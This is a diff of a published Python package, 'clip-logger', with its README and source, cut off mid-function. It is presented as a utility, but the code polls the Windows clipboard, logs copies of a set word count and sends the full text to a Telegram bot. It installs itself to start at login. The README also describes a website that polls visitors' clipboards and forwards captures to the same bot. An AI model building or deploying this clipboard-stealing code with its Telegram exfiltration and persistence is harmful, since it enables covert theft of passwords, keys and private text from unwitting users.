clip-logger 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- clip_logger-1.0.0/LICENSE +21 -0
- clip_logger-1.0.0/MANIFEST.in +3 -0
- clip_logger-1.0.0/PKG-INFO +164 -0
- clip_logger-1.0.0/README.md +141 -0
- clip_logger-1.0.0/clip_logger/__init__.py +442 -0
- clip_logger-1.0.0/clip_logger/__main__.py +4 -0
- clip_logger-1.0.0/clip_logger/env.example +11 -0
- clip_logger-1.0.0/clip_logger.egg-info/PKG-INFO +164 -0
- clip_logger-1.0.0/clip_logger.egg-info/SOURCES.txt +13 -0
- clip_logger-1.0.0/clip_logger.egg-info/dependency_links.txt +1 -0
- clip_logger-1.0.0/clip_logger.egg-info/entry_points.txt +2 -0
- clip_logger-1.0.0/clip_logger.egg-info/top_level.txt +1 -0
- clip_logger-1.0.0/clip_logger.py +6 -0
- clip_logger-1.0.0/pyproject.toml +37 -0
- clip_logger-1.0.0/setup.cfg +4 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 clip-logger contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,164 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: clip-logger
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Background Windows clipboard logger — records copies of exactly N words
|
|
5
|
+
Author: clip-logger contributors
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Keywords: clipboard,logger,windows,telegram,monitor
|
|
8
|
+
Classifier: Development Status :: 4 - Beta
|
|
9
|
+
Classifier: Environment :: Console
|
|
10
|
+
Classifier: Intended Audience :: Developers
|
|
11
|
+
Classifier: Operating System :: Microsoft :: Windows
|
|
12
|
+
Classifier: Programming Language :: Python :: 3
|
|
13
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
17
|
+
Classifier: Topic :: System :: Monitoring
|
|
18
|
+
Classifier: Topic :: Utilities
|
|
19
|
+
Requires-Python: >=3.9
|
|
20
|
+
Description-Content-Type: text/markdown
|
|
21
|
+
License-File: LICENSE
|
|
22
|
+
Dynamic: license-file
|
|
23
|
+
|
|
24
|
+
# clip_logger
|
|
25
|
+
|
|
26
|
+
Logs whenever **exactly 5 words** are copied to the clipboard.
|
|
27
|
+
|
|
28
|
+
Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
|
|
29
|
+
catches anything you copy in Windows apps or in the WSL terminal.
|
|
30
|
+
|
|
31
|
+
## Install
|
|
32
|
+
|
|
33
|
+
**For all users (PyPI):**
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
pip install clip-logger
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
**From source (developers):**
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
pip install .
|
|
43
|
+
# or editable:
|
|
44
|
+
pip install -e .
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
That installs the **`clip-logger`** command. No other setup required.
|
|
48
|
+
|
|
49
|
+
See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.
|
|
50
|
+
|
|
51
|
+
### After install
|
|
52
|
+
|
|
53
|
+
| OS | Config & logs |
|
|
54
|
+
|----|----------------|
|
|
55
|
+
| **Windows** | `%APPDATA%\clip-logger\` |
|
|
56
|
+
| **Linux / WSL** | `~/.config/clip-logger/` |
|
|
57
|
+
|
|
58
|
+
On first run, `.env` is created there — edit it for Telegram and `WORD_THRESHOLD`.
|
|
59
|
+
|
|
60
|
+
## Use
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
clip-logger start # run in background
|
|
64
|
+
clip-logger status # running? auto-start? log path?
|
|
65
|
+
clip-logger tail # last 10 logged copies
|
|
66
|
+
clip-logger stop # stop daemon
|
|
67
|
+
clip-logger install # auto-start on login / after reboot
|
|
68
|
+
clip-logger uninstall # remove auto-start
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`
|
|
72
|
+
|
|
73
|
+
## Auto-start (no manual `start` each time)
|
|
74
|
+
|
|
75
|
+
| Method | When it runs | Setup |
|
|
76
|
+
|--------|----------------|-------|
|
|
77
|
+
| **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
|
|
78
|
+
| **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
|
|
79
|
+
| **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
|
|
80
|
+
| **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# Option A: starts when paste-share server starts (default)
|
|
84
|
+
cd paste-share && python3 app.py
|
|
85
|
+
|
|
86
|
+
# Option B: starts on every login / after reboot
|
|
87
|
+
clip-logger install # Windows: Task Scheduler | WSL/Linux: systemd
|
|
88
|
+
clip-logger uninstall # remove later
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
**Windows (native):**
|
|
92
|
+
|
|
93
|
+
```bat
|
|
94
|
+
pip install .
|
|
95
|
+
clip-logger install
|
|
96
|
+
clip-logger status
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
All methods are idempotent — if clip_logger is already running, `start` is a
|
|
100
|
+
no-op.
|
|
101
|
+
|
|
102
|
+
### Paste-to-share integration
|
|
103
|
+
|
|
104
|
+
When a visitor allows clipboard access on the paste-share site:
|
|
105
|
+
|
|
106
|
+
1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
|
|
107
|
+
2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
|
|
108
|
+
3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.
|
|
109
|
+
|
|
110
|
+
`clip-logger read` / `start` remain for local CLI and the server-host daemon.
|
|
111
|
+
Visitor captures use `log` — no install on the visitor's machine.
|
|
112
|
+
|
|
113
|
+
## What gets logged
|
|
114
|
+
|
|
115
|
+
Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:
|
|
116
|
+
|
|
117
|
+
```json
|
|
118
|
+
{"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
Only copies whose content **changes** and has **exactly 5 words** are recorded.
|
|
122
|
+
|
|
123
|
+
## Setup (.env)
|
|
124
|
+
|
|
125
|
+
Copy `.env.example` to `.env` and fill it in:
|
|
126
|
+
|
|
127
|
+
```
|
|
128
|
+
TELEGRAM_BOT_TOKEN=123456:ABC-your-token
|
|
129
|
+
TELEGRAM_CHAT_ID=987654321
|
|
130
|
+
WORD_THRESHOLD=5
|
|
131
|
+
POLL_SECONDS=2.0
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
Getting the Telegram values:
|
|
135
|
+
|
|
136
|
+
1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
|
|
137
|
+
2. Send your new bot any message (e.g. "hi").
|
|
138
|
+
3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
|
|
139
|
+
the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.
|
|
140
|
+
|
|
141
|
+
If the token/chat id are blank, it still logs to file — it just skips
|
|
142
|
+
sending Telegram messages.
|
|
143
|
+
|
|
144
|
+
## Telegram message
|
|
145
|
+
|
|
146
|
+
On each qualifying copy you'll receive:
|
|
147
|
+
|
|
148
|
+
```
|
|
149
|
+
📋 Clipboard (6 words)
|
|
150
|
+
2026-06-05T13:19:45-07:00
|
|
151
|
+
|
|
152
|
+
alpha beta gamma delta epsilon zeta
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
## Settings
|
|
156
|
+
|
|
157
|
+
- `WORD_THRESHOLD` — minimum word count to log (default `5`)
|
|
158
|
+
- `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)
|
|
159
|
+
|
|
160
|
+
## Note
|
|
161
|
+
|
|
162
|
+
The log stores the **full copied text**, which can include sensitive data
|
|
163
|
+
(passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
|
|
164
|
+
keep that in mind, and delete it when you don't need the history.
|
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
# clip_logger
|
|
2
|
+
|
|
3
|
+
Logs whenever **exactly 5 words** are copied to the clipboard.
|
|
4
|
+
|
|
5
|
+
Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
|
|
6
|
+
catches anything you copy in Windows apps or in the WSL terminal.
|
|
7
|
+
|
|
8
|
+
## Install
|
|
9
|
+
|
|
10
|
+
**For all users (PyPI):**
|
|
11
|
+
|
|
12
|
+
```bash
|
|
13
|
+
pip install clip-logger
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
**From source (developers):**
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
pip install .
|
|
20
|
+
# or editable:
|
|
21
|
+
pip install -e .
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
That installs the **`clip-logger`** command. No other setup required.
|
|
25
|
+
|
|
26
|
+
See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.
|
|
27
|
+
|
|
28
|
+
### After install
|
|
29
|
+
|
|
30
|
+
| OS | Config & logs |
|
|
31
|
+
|----|----------------|
|
|
32
|
+
| **Windows** | `%APPDATA%\clip-logger\` |
|
|
33
|
+
| **Linux / WSL** | `~/.config/clip-logger/` |
|
|
34
|
+
|
|
35
|
+
On first run, `.env` is created there — edit it for Telegram and `WORD_THRESHOLD`.
|
|
36
|
+
|
|
37
|
+
## Use
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
clip-logger start # run in background
|
|
41
|
+
clip-logger status # running? auto-start? log path?
|
|
42
|
+
clip-logger tail # last 10 logged copies
|
|
43
|
+
clip-logger stop # stop daemon
|
|
44
|
+
clip-logger install # auto-start on login / after reboot
|
|
45
|
+
clip-logger uninstall # remove auto-start
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`
|
|
49
|
+
|
|
50
|
+
## Auto-start (no manual `start` each time)
|
|
51
|
+
|
|
52
|
+
| Method | When it runs | Setup |
|
|
53
|
+
|--------|----------------|-------|
|
|
54
|
+
| **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
|
|
55
|
+
| **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
|
|
56
|
+
| **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
|
|
57
|
+
| **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
# Option A: starts when paste-share server starts (default)
|
|
61
|
+
cd paste-share && python3 app.py
|
|
62
|
+
|
|
63
|
+
# Option B: starts on every login / after reboot
|
|
64
|
+
clip-logger install # Windows: Task Scheduler | WSL/Linux: systemd
|
|
65
|
+
clip-logger uninstall # remove later
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
**Windows (native):**
|
|
69
|
+
|
|
70
|
+
```bat
|
|
71
|
+
pip install .
|
|
72
|
+
clip-logger install
|
|
73
|
+
clip-logger status
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
All methods are idempotent — if clip_logger is already running, `start` is a
|
|
77
|
+
no-op.
|
|
78
|
+
|
|
79
|
+
### Paste-to-share integration
|
|
80
|
+
|
|
81
|
+
When a visitor allows clipboard access on the paste-share site:
|
|
82
|
+
|
|
83
|
+
1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
|
|
84
|
+
2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
|
|
85
|
+
3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.
|
|
86
|
+
|
|
87
|
+
`clip-logger read` / `start` remain for local CLI and the server-host daemon.
|
|
88
|
+
Visitor captures use `log` — no install on the visitor's machine.
|
|
89
|
+
|
|
90
|
+
## What gets logged
|
|
91
|
+
|
|
92
|
+
Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:
|
|
93
|
+
|
|
94
|
+
```json
|
|
95
|
+
{"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
Only copies whose content **changes** and has **exactly 5 words** are recorded.
|
|
99
|
+
|
|
100
|
+
## Setup (.env)
|
|
101
|
+
|
|
102
|
+
Copy `.env.example` to `.env` and fill it in:
|
|
103
|
+
|
|
104
|
+
```
|
|
105
|
+
TELEGRAM_BOT_TOKEN=123456:ABC-your-token
|
|
106
|
+
TELEGRAM_CHAT_ID=987654321
|
|
107
|
+
WORD_THRESHOLD=5
|
|
108
|
+
POLL_SECONDS=2.0
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
Getting the Telegram values:
|
|
112
|
+
|
|
113
|
+
1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
|
|
114
|
+
2. Send your new bot any message (e.g. "hi").
|
|
115
|
+
3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
|
|
116
|
+
the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.
|
|
117
|
+
|
|
118
|
+
If the token/chat id are blank, it still logs to file — it just skips
|
|
119
|
+
sending Telegram messages.
|
|
120
|
+
|
|
121
|
+
## Telegram message
|
|
122
|
+
|
|
123
|
+
On each qualifying copy you'll receive:
|
|
124
|
+
|
|
125
|
+
```
|
|
126
|
+
📋 Clipboard (6 words)
|
|
127
|
+
2026-06-05T13:19:45-07:00
|
|
128
|
+
|
|
129
|
+
alpha beta gamma delta epsilon zeta
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
## Settings
|
|
133
|
+
|
|
134
|
+
- `WORD_THRESHOLD` — minimum word count to log (default `5`)
|
|
135
|
+
- `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)
|
|
136
|
+
|
|
137
|
+
## Note
|
|
138
|
+
|
|
139
|
+
The log stores the **full copied text**, which can include sensitive data
|
|
140
|
+
(passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
|
|
141
|
+
keep that in mind, and delete it when you don't need the history.
|
|
@@ -0,0 +1,442 @@
|
|
|
1
|
+
"""clip_logger — log clipboard copies of exactly N words (Windows clipboard)."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import shutil
|
|
8
|
+
import signal
|
|
9
|
+
import subprocess
|
|
10
|
+
import sys
|
|
11
|
+
import time
|
|
12
|
+
import urllib.parse
|
|
13
|
+
import urllib.request
|
|
14
|
+
from datetime import datetime
|
|
15
|
+
from importlib import resources
|
|
16
|
+
|
|
17
|
+
WINDOWS_TASK_NAME = "clip-logger"
|
|
18
|
+
SYSTEMD_SERVICE_NAME = "clip-logger.service"
|
|
19
|
+
|
|
20
|
+
_PKG_DIR = os.path.dirname(os.path.abspath(__file__))
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def _is_pip_install() -> bool:
|
|
24
|
+
path = _PKG_DIR.replace("\\", "/")
|
|
25
|
+
return "site-packages" in path or "dist-packages" in path
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
def data_dir() -> str:
|
|
29
|
+
"""Config, logs, and pid files — user dir when pip-installed, else repo root."""
|
|
30
|
+
if _is_pip_install():
|
|
31
|
+
if sys.platform == "win32":
|
|
32
|
+
base = os.environ.get("APPDATA") or os.path.expanduser("~")
|
|
33
|
+
root = os.path.join(base, "clip-logger")
|
|
34
|
+
else:
|
|
35
|
+
root = os.path.join(os.path.expanduser("~"), ".config", "clip-logger")
|
|
36
|
+
else:
|
|
37
|
+
repo = os.path.dirname(_PKG_DIR)
|
|
38
|
+
root = repo if os.path.exists(os.path.join(repo, "pyproject.toml")) else _PKG_DIR
|
|
39
|
+
os.makedirs(root, exist_ok=True)
|
|
40
|
+
return root
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
def _paths() -> tuple[str, str, str, str]:
|
|
44
|
+
here = data_dir()
|
|
45
|
+
return (
|
|
46
|
+
here,
|
|
47
|
+
os.path.join(here, "clipboard_log.jsonl"),
|
|
48
|
+
os.path.join(here, "clip_logger.pid"),
|
|
49
|
+
os.path.join(here, "clip_logger.daemon.log"),
|
|
50
|
+
)
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
HERE, LOG_FILE, PID_FILE, DAEMON_LOG = _paths()
|
|
54
|
+
ENV_FILE = os.path.join(HERE, ".env")
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def ensure_env_file() -> None:
|
|
58
|
+
if os.path.exists(ENV_FILE):
|
|
59
|
+
return
|
|
60
|
+
try:
|
|
61
|
+
text = resources.files("clip_logger").joinpath("env.example").read_text(
|
|
62
|
+
encoding="utf-8"
|
|
63
|
+
)
|
|
64
|
+
except Exception:
|
|
65
|
+
text = "WORD_THRESHOLD=5\nPOLL_SECONDS=2.0\n"
|
|
66
|
+
with open(ENV_FILE, "w", encoding="utf-8") as f:
|
|
67
|
+
f.write(text)
|
|
68
|
+
print(f"Created {ENV_FILE}")
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
def load_env() -> None:
|
|
72
|
+
if not os.path.exists(ENV_FILE):
|
|
73
|
+
return
|
|
74
|
+
with open(ENV_FILE, encoding="utf-8") as f:
|
|
75
|
+
for line in f:
|
|
76
|
+
line = line.strip()
|
|
77
|
+
if not line or line.startswith("#") or "=" not in line:
|
|
78
|
+
continue
|
|
79
|
+
key, _, value = line.partition("=")
|
|
80
|
+
value = value.strip().strip('"').strip("'")
|
|
81
|
+
os.environ.setdefault(key.strip(), value)
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
ensure_env_file()
|
|
85
|
+
load_env()
|
|
86
|
+
|
|
87
|
+
WORD_THRESHOLD = int(os.environ.get("WORD_THRESHOLD", "5"))
|
|
88
|
+
POLL_SECONDS = float(os.environ.get("POLL_SECONDS", "2.0"))
|
|
89
|
+
TELEGRAM_BOT_TOKEN = os.environ.get("TELEGRAM_BOT_TOKEN", "").strip()
|
|
90
|
+
TELEGRAM_CHAT_ID = os.environ.get("TELEGRAM_CHAT_ID", "").strip()
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
def clip_logger_cli() -> list[str]:
|
|
94
|
+
"""Argv prefix to invoke this package (installed entry point or python -m)."""
|
|
95
|
+
cmd = shutil.which("clip-logger")
|
|
96
|
+
if cmd:
|
|
97
|
+
return [cmd]
|
|
98
|
+
return [sys.executable, "-m", "clip_logger"]
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
def send_telegram(entry: dict) -> None:
|
|
102
|
+
if not TELEGRAM_BOT_TOKEN or not TELEGRAM_CHAT_ID:
|
|
103
|
+
return
|
|
104
|
+
message = (
|
|
105
|
+
f"\U0001F4CB Clipboard ({entry['word_count']} words)\n"
|
|
106
|
+
f"{entry['timestamp']}\n\n"
|
|
107
|
+
f"{entry['text']}"
|
|
108
|
+
)
|
|
109
|
+
url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
|
|
110
|
+
data = urllib.parse.urlencode(
|
|
111
|
+
{"chat_id": TELEGRAM_CHAT_ID, "text": message}
|
|
112
|
+
).encode()
|
|
113
|
+
try:
|
|
114
|
+
with urllib.request.urlopen(url, data=data, timeout=15) as resp:
|
|
115
|
+
resp.read()
|
|
116
|
+
except Exception as exc:
|
|
117
|
+
sys.stderr.write(f"[telegram] send failed: {exc}\n")
|
|
118
|
+
sys.stderr.flush()
|
|
119
|
+
|
|
120
|
+
|
|
121
|
+
def read_clipboard() -> str | None:
|
|
122
|
+
ps = "powershell.exe" if sys.platform == "win32" or shutil.which("powershell.exe") else "powershell"
|
|
123
|
+
try:
|
|
124
|
+
out = subprocess.run(
|
|
125
|
+
[ps, "-NoProfile", "-Command", "Get-Clipboard -Raw"],
|
|
126
|
+
capture_output=True,
|
|
127
|
+
timeout=10,
|
|
128
|
+
)
|
|
129
|
+
except (subprocess.TimeoutExpired, FileNotFoundError):
|
|
130
|
+
return None
|
|
131
|
+
if out.returncode != 0:
|
|
132
|
+
return None
|
|
133
|
+
text = out.stdout.decode("utf-8", errors="replace")
|
|
134
|
+
return text.replace("\r\n", "\n").replace("\r", "\n").rstrip("\n")
|
|
135
|
+
|
|
136
|
+
|
|
137
|
+
def word_count(text: str) -> int:
|
|
138
|
+
return len(text.split())
|
|
139
|
+
|
|
140
|
+
|
|
141
|
+
def run_loop() -> None:
|
|
142
|
+
last_seen = None
|
|
143
|
+
while True:
|
|
144
|
+
text = read_clipboard()
|
|
145
|
+
if text is not None and text != last_seen:
|
|
146
|
+
last_seen = text
|
|
147
|
+
count = word_count(text)
|
|
148
|
+
if count == WORD_THRESHOLD:
|
|
149
|
+
entry = {
|
|
150
|
+
"timestamp": datetime.now().astimezone().isoformat(),
|
|
151
|
+
"word_count": count,
|
|
152
|
+
"text": text,
|
|
153
|
+
}
|
|
154
|
+
with open(LOG_FILE, "a", encoding="utf-8") as f:
|
|
155
|
+
f.write(json.dumps(entry, ensure_ascii=False) + "\n")
|
|
156
|
+
send_telegram(entry)
|
|
157
|
+
time.sleep(POLL_SECONDS)
|
|
158
|
+
|
|
159
|
+
|
|
160
|
+
def read_pid() -> int | None:
|
|
161
|
+
try:
|
|
162
|
+
with open(PID_FILE) as f:
|
|
163
|
+
return int(f.read().strip())
|
|
164
|
+
except (FileNotFoundError, ValueError):
|
|
165
|
+
return None
|
|
166
|
+
|
|
167
|
+
|
|
168
|
+
def is_running(pid: int | None) -> bool:
|
|
169
|
+
if pid is None:
|
|
170
|
+
return False
|
|
171
|
+
try:
|
|
172
|
+
os.kill(pid, 0)
|
|
173
|
+
except OSError:
|
|
174
|
+
return False
|
|
175
|
+
return True
|
|
176
|
+
|
|
177
|
+
|
|
178
|
+
def cmd_start() -> None:
|
|
179
|
+
pid = read_pid()
|
|
180
|
+
if is_running(pid):
|
|
181
|
+
print(f"Already running (pid {pid}).")
|
|
182
|
+
return
|
|
183
|
+
logf = open(DAEMON_LOG, "a", encoding="utf-8")
|
|
184
|
+
proc = subprocess.Popen(
|
|
185
|
+
clip_logger_cli() + ["_run"],
|
|
186
|
+
stdout=logf,
|
|
187
|
+
stderr=logf,
|
|
188
|
+
stdin=subprocess.DEVNULL,
|
|
189
|
+
start_new_session=True,
|
|
190
|
+
cwd=HERE,
|
|
191
|
+
)
|
|
192
|
+
with open(PID_FILE, "w", encoding="utf-8") as f:
|
|
193
|
+
f.write(str(proc.pid))
|
|
194
|
+
print(f"Started clip_logger (pid {proc.pid}).")
|
|
195
|
+
print(f"Logging copies of exactly {WORD_THRESHOLD} words to {LOG_FILE}")
|
|
196
|
+
|
|
197
|
+
|
|
198
|
+
def cmd_stop() -> None:
|
|
199
|
+
pid = read_pid()
|
|
200
|
+
if not is_running(pid):
|
|
201
|
+
print("Not running.")
|
|
202
|
+
if os.path.exists(PID_FILE):
|
|
203
|
+
os.remove(PID_FILE)
|
|
204
|
+
return
|
|
205
|
+
os.kill(pid, signal.SIGTERM)
|
|
206
|
+
print(f"Stopped clip_logger (pid {pid}).")
|
|
207
|
+
if os.path.exists(PID_FILE):
|
|
208
|
+
os.remove(PID_FILE)
|
|
209
|
+
|
|
210
|
+
|
|
211
|
+
def cmd_status() -> None:
|
|
212
|
+
pid = read_pid()
|
|
213
|
+
if is_running(pid):
|
|
214
|
+
print(f"Running (pid {pid}).")
|
|
215
|
+
else:
|
|
216
|
+
print("Not running.")
|
|
217
|
+
if sys.platform == "win32":
|
|
218
|
+
proc = subprocess.run(
|
|
219
|
+
["schtasks", "/Query", "/TN", WINDOWS_TASK_NAME],
|
|
220
|
+
capture_output=True,
|
|
221
|
+
text=True,
|
|
222
|
+
)
|
|
223
|
+
if proc.returncode == 0:
|
|
224
|
+
print(f'Auto-start: enabled (Task Scheduler "{WINDOWS_TASK_NAME}").')
|
|
225
|
+
else:
|
|
226
|
+
print("Auto-start: not installed.")
|
|
227
|
+
elif os.path.exists(systemd_unit_path()):
|
|
228
|
+
print(f"Auto-start: enabled ({systemd_unit_path()}).")
|
|
229
|
+
else:
|
|
230
|
+
print("Auto-start: not installed.")
|
|
231
|
+
print(f"Data directory: {HERE}")
|
|
232
|
+
if os.path.exists(LOG_FILE):
|
|
233
|
+
with open(LOG_FILE, encoding="utf-8") as f:
|
|
234
|
+
n = sum(1 for _ in f)
|
|
235
|
+
print(f"{n} entries logged in {LOG_FILE}")
|
|
236
|
+
|
|
237
|
+
|
|
238
|
+
def cmd_tail() -> None:
|
|
239
|
+
if not os.path.exists(LOG_FILE):
|
|
240
|
+
print("No log file yet.")
|
|
241
|
+
return
|
|
242
|
+
with open(LOG_FILE, encoding="utf-8") as f:
|
|
243
|
+
lines = f.readlines()[-10:]
|
|
244
|
+
for line in lines:
|
|
245
|
+
e = json.loads(line)
|
|
246
|
+
preview = e["text"].replace("\n", " ")
|
|
247
|
+
if len(preview) > 80:
|
|
248
|
+
preview = preview[:77] + "..."
|
|
249
|
+
print(f'{e["timestamp"]} [{e["word_count"]:>3} words] {preview}')
|
|
250
|
+
|
|
251
|
+
|
|
252
|
+
def cmd_read() -> None:
|
|
253
|
+
text = read_clipboard()
|
|
254
|
+
if text is None:
|
|
255
|
+
print(json.dumps({"ok": False, "error": "could not read clipboard"}))
|
|
256
|
+
sys.exit(1)
|
|
257
|
+
print(
|
|
258
|
+
json.dumps(
|
|
259
|
+
{"ok": True, "text": text, "word_count": word_count(text)},
|
|
260
|
+
ensure_ascii=False,
|
|
261
|
+
)
|
|
262
|
+
)
|
|
263
|
+
|
|
264
|
+
|
|
265
|
+
def cmd_log() -> None:
|
|
266
|
+
try:
|
|
267
|
+
entry = json.loads(sys.stdin.read())
|
|
268
|
+
except json.JSONDecodeError:
|
|
269
|
+
print(json.dumps({"ok": False, "error": "invalid JSON"}))
|
|
270
|
+
sys.exit(1)
|
|
271
|
+
text = entry.get("text", "")
|
|
272
|
+
if not isinstance(text, str) or not text.strip():
|
|
273
|
+
print(json.dumps({"ok": False, "error": "missing text"}))
|
|
274
|
+
sys.exit(1)
|
|
275
|
+
count = word_count(text)
|
|
276
|
+
if count != WORD_THRESHOLD:
|
|
277
|
+
print(
|
|
278
|
+
json.dumps({
|
|
279
|
+
"ok": False,
|
|
280
|
+
"error": f"expected {WORD_THRESHOLD} words, got {count}",
|
|
281
|
+
})
|
|
282
|
+
)
|
|
283
|
+
sys.exit(1)
|
|
284
|
+
entry = {
|
|
285
|
+
"timestamp": entry.get("timestamp")
|
|
286
|
+
or datetime.now().astimezone().isoformat(),
|
|
287
|
+
"word_count": count,
|
|
288
|
+
"text": text,
|
|
289
|
+
}
|
|
290
|
+
with open(LOG_FILE, "a", encoding="utf-8") as f:
|
|
291
|
+
f.write(json.dumps(entry, ensure_ascii=False) + "\n")
|
|
292
|
+
send_telegram(entry)
|
|
293
|
+
print(json.dumps({"ok": True}))
|
|
294
|
+
|
|
295
|
+
|
|
296
|
+
def systemd_unit_path() -> str:
|
|
297
|
+
return os.path.join(
|
|
298
|
+
os.path.expanduser("~/.config/systemd/user"), SYSTEMD_SERVICE_NAME
|
|
299
|
+
)
|
|
300
|
+
|
|
301
|
+
|
|
302
|
+
def autostart_command_line() -> str:
|
|
303
|
+
cmd = shutil.which("clip-logger")
|
|
304
|
+
if cmd:
|
|
305
|
+
return f'"{cmd}" start'
|
|
306
|
+
return f'"{sys.executable}" -m clip_logger start'
|
|
307
|
+
|
|
308
|
+
|
|
309
|
+
def autostart_stop_command_line() -> str:
|
|
310
|
+
cmd = shutil.which("clip-logger")
|
|
311
|
+
if cmd:
|
|
312
|
+
return f'"{cmd}" stop'
|
|
313
|
+
return f'"{sys.executable}" -m clip_logger stop'
|
|
314
|
+
|
|
315
|
+
|
|
316
|
+
def cmd_install_windows() -> None:
|
|
317
|
+
tr = autostart_command_line()
|
|
318
|
+
proc = subprocess.run(
